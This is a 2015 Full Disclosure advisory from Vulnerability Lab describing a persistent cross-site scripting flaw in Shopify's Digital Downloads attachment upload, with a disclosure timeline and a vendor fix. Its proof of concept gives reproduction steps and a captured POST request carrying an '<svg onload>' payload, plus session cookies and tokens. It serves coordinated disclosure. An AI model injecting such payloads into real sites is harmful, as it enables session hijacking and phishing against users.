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[FD] Shopify Bug Bounty #8 - (FilePath) Persistent Vulnerability
- To: fulldisclosure@xxxxxxxxxxxx
- Subject: [FD] Shopify Bug Bounty #8 - (FilePath) Persistent Vulnerability
- From: Vulnerability Lab <research@xxxxxxxxxxxxxxxxxxxxx>
- Date: Fri, 11 Sep 2015 12:54:22 +0200
Document Title:
===============
Shopify Bug Bounty #8 - (FilePath) Persistent Vulnerability
References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=1592
Release Date:
=============
2015-09-04
Vulnerability Laboratory ID (VL-ID):
====================================
1593
Common Vulnerability Scoring System:
====================================
4.1
Product & Service Introduction:
===============================
Shopify is a Canadian commerce company headquartered in Ottawa, Ontario that
develops computer software for online stores and retail
point-of-sale systems. Shopify was founded in 2004, and was initially based on
earlier software written by its founders for their online snowboard store.
(Copy of the Vendor Homepage: http://www.shopify.com/ )
Abstract Advisory Information:
==============================
The Vulnerability Laboratory Core Research Team discovered an application-side
input validation web vulnerability in the official Shopify online service
web-application.
Vulnerability Disclosure Timeline:
==================================
2015-08-09: Researcher Notification & Coordination (Hadji Samir - Evolution
Security GmbH)
2015-08-11: Vendor Notification (Shopify - Security & Bug Bounty Team)
2015-08-13: Vendor Response/Feedback (Shopify - Security & Bug Bounty Team
2015-08-14: Vendor Fix/Patch (Shopify - Developer Team)
2015-09-04: Public Disclosure (Vulnerability Laboratory)
Discovery Status:
=================
Published
Affected Product(s):
====================
Shopify Inc.
Product: Shopify - Online Service (Web-Application) 2015 Q3
Exploitation Technique:
=======================
Remote
Severity Level:
===============
Medium
Technical Details & Description:
================================
An application-side validation vulnerability has been discovered in the
official Shopify online service web-application.
The vulnerability allows remote attackers to comrpomise user accounts by
persistent malicious inject of script codes.
The vulnerability has been located in the `attachment%5Bfilepath` value of the
`attachments` module POST method request. Remote attackers
are able to inject malicious script codes to the application-side of the
online-service module. The request method to inject is POST and
the attack vector is located on the application-side of the service. The
attacker manipulates via live session tamper the `attachment >
filepath` value to compromise the follow up application GET method requests.
The security risk of the persistent input validation web vulnerability is
estimated as medium with a cvss (common vulnerability scoring system) count of
4.1.
Exploitation of the input and validation web vulnerability requires low or
medium user interaction and no privilege web-application user account.
Successful exploitation of the persistent web vulnerability results in session
hijacking, persistent phishing attacks, persistent redirects to external
malicious source and persistent manipulation of affected or connected module
context.
Request Method(s):
[+] POST
Vulnerable Page:
[+] attachments
Vulnerable Parameter(s):
[+] attachment%5Bfilepath
Proof of Concept (PoC):
=======================
The persistent vulnerability can be exploited by remote attackers with low
privilege application user account and low user interaction.
For security demonstration or to reproduce the vulnerability follow the
provided information and steps below to continue.
Manual steps to reproduce the vulnerability in shopify ...
1. Installing the Digital Downloads App in *.myshopify.com
2. Install the app https://apps.shopify.com/digital-downloads
3. Select product and click Add Digital Attachment
4. Click to upload file and upload file with name <svg onload=alert(1)>
5. The code <svg onload=alert(1)> will execute XSS
Note: <span class="file-name"><strong>Success:</strong> <svg
onload="alert(1)"/></span> [tested and verified with mozilla firefox]
6. Successful reproduce of the remote vulnerability!
--- PoC Session Logs [POST] ---
POST https://delivery.shopifyapps.com/attachments
Load Flags[LOAD_BYPASS_CACHE LOAD_BACKGROUND ] Content Size[-1] Mime
Type[application/json]
Request Headers:
Host[delivery.shopifyapps.com]
User-Agent[Mozilla/5.0 (X11; Linux i686; rv:18.0) Gecko/20100101
Firefox/18.0]
Accept[*/*]
Accept-Language[en-US,en;q=0.5]
Accept-Encoding[gzip, deflate]
X-CSRF-Token[tQMmbiufetQoGo8QyilppAQXeTiMl1gBOHh3fY1JroxPQRl0GppuRe8XYOiPUI3F2gW93r5Vbqwo+mTzmU2spQ==]
Content-Type[application/x-www-form-urlencoded; charset=UTF-8]
X-Requested-With[XMLHttpRequest]
Referer[https://delivery.shopifyapps.com/products/1381861509?hmac=42ee70e18d01e5e4a3d323a002f2a9454bbe6ce3baed5795ba6ed7bd4ee37de1&protocol=https%3A%2F%2F&shop=testdz-2.myshopify.com&signature=942719fd26a31a2ab2ea9167923a6cad×tamp=1439553626]
Content-Length[248]
Cookie[_delivery_session=TDdkTnNiWk8rMFhUNnl2d0diRVNrYzVSM00rdysyZmMzeDRRV1JlcGk5WEZrRjF2OHRUUG01NkdnM0hrcEQ2YnA2cllVcnJjMjY5dDRSdlZjNnJ3RGg2L1JXelRvQmk0QnZNRzRvVGJ1akJ0aW54VE5TWnhIV0k2QUpIS0tHczNEcjcxZFNWVFJxODMwTlY2ZU9qQVdDR0NmcFk1dXdzMU5aRE5Fd2JPakNXakJvdnM0S1BXR1pyYlFnRjRQd0tEbGJTdGg4RlBscEh1NzhkQjhiZzRFS2pqZkk4ZTZ4Q1UrM0ZJMGs1ZlZkNmk1T0NWWUMxdnFTSzJSellHTVMyV3ZyTXJVMTdCZEk3eU52V3Z4Y1EzT0hEV2dBdEV4OU9EcW9JbjR0RWRNNGU2dyt4OS9LVjBtT1oxQVZZbHVNNGtyY01mTDh5YkVieHI0dDRyOWZzM0hWYXRWMWtIKzAzQWt6c2dUK2lieG8wPS0tRDZoRFRrbmU0aHRBMitoeTMvVmlBQT09--88390748471908d3c4b05dec54c02be53c163262]
Connection[keep-alive]
Pragma[no-cache]
Cache-Control[no-cache]
Post Data:
attachment%5Bfilepath%5D[%3Csvg+onload%3Dalert('xss_by_samir')%3E]
attachment%5Bfilesize%5D[0]
attachment%5Bfile_content_type%5D[]
attachment%5Bproduct_id%5D[1381861509]
attachment%5Bvariant_id%5D[4244815685]
attachment%5Bupload_status%5D[authenticating]
Response Headers:
Server[Cowboy]
Connection[close]
Date[Fri, 14 Aug 2015 12:00:41 GMT]
Status[200 OK]
X-XSS-Protection[1; mode=block]
X-Content-Type-Options[nosniff]
P3P[CP="Shopify does not support P3P."]
Content-Type[application/json; charset=utf-8]
Etag[W/"d50fff924fa2e268191b45876ef9aa2f"]
Cache-Control[max-age=0, private, must-revalidate]
Set-Cookie[_delivery_session=dXVldzlGWkNkZHluMDE2SEt5N1RMeURnVDdnYU0rK3dlekVReHExTTBEMEdBdVJ0SDJvcVRXYUhxdGl3TVRCdlY1N1dGZ1FaTWNycVVzc0x6dmhTOVN5L05rcko5VGdLN3BRZFBVODVjWFhvTnBEUDFkc21yN2RkRjlGekdDYU9MdTY0UTBsZFhzUkE2R2ptMU95U25udS9iZGM5d3VlcTVFT3UrR2wyR2JRL3R1K1paeWRNcVdsTGloZ1N5WVZsZERDamY4MWsveldCcU5GTTM1cW01ZURKbXNCRzZia3RqRkgrY0lSd09yeEREQmR2a0dvaGc0V1hBWUhnclI1Zy92aDlHTnFYaFhlUVJzUjNGWUFhR1VGRXA5ZFhZQmNTNlVKNkU0VVBTc0pQSkdyWk4wczQ1N1dXQVZNcHFRM2ZjUmMyYmx0UU1uMzlyVEdBME1rKzhLYmxRLzQ5aWNEaHBMcFBKU091MC9VPS0tUXNpUkM1cks5NHp5ZWFZbTFIcDBPdz09--2d0ebbcf2adcca4a94ee12e732b4900085faa6e0;
path=/; HttpOnly]
X-Request-Id[817696c4-6ccf-4a95-a497-3c1c4219085b]
X-Runtime[0.133538]
Via[1.1 vegur]
Reference(s):
https://delivery.shopifyapps.com/
https://delivery.shopifyapps.com/attachments
Security Risk:
==============
The security risk of the application-side input validation web vulnerability in
the shopify frontend is estimated as medium. (CVSS 4.1)
Credits & Authors:
==================
Vulnerability Laboratory [Research Team] - Hadji Samir [samir@xxxxxxxxxxxxxxxxx]
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=========================
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